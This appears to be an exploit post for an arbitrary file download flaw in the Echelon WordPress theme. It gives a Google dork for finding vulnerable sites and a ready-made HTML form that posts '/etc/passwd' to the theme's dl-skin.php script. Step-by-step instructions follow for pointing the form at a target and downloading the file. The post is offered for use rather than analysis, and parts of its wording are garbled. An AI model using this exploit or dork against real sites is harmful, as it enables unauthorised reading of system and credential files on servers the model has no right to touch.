Wordpress Theme Echelon Arbitrary File Crunchy

Kyfx Security
Wp cgi crunchy lol

==========================
# Google Dork : inurl:/wp-content/themes/echelon
/wp-content/themes/
any wp dorks
=========================

Exploit:

<html>
<body>
<form action="http://127.0.0.1/wp-content/themes/echelon/lib/scripts/dl-skin.php" method="POST">
<b>File</b>:<input type="text" name="_mysite_download_skin" value="/etc/passwd"><br>
<input type="submit" value=Download>
</form>
</body>


save in html then press chrome to start the html and got to edit 127.0.0.1 the url target

Press Download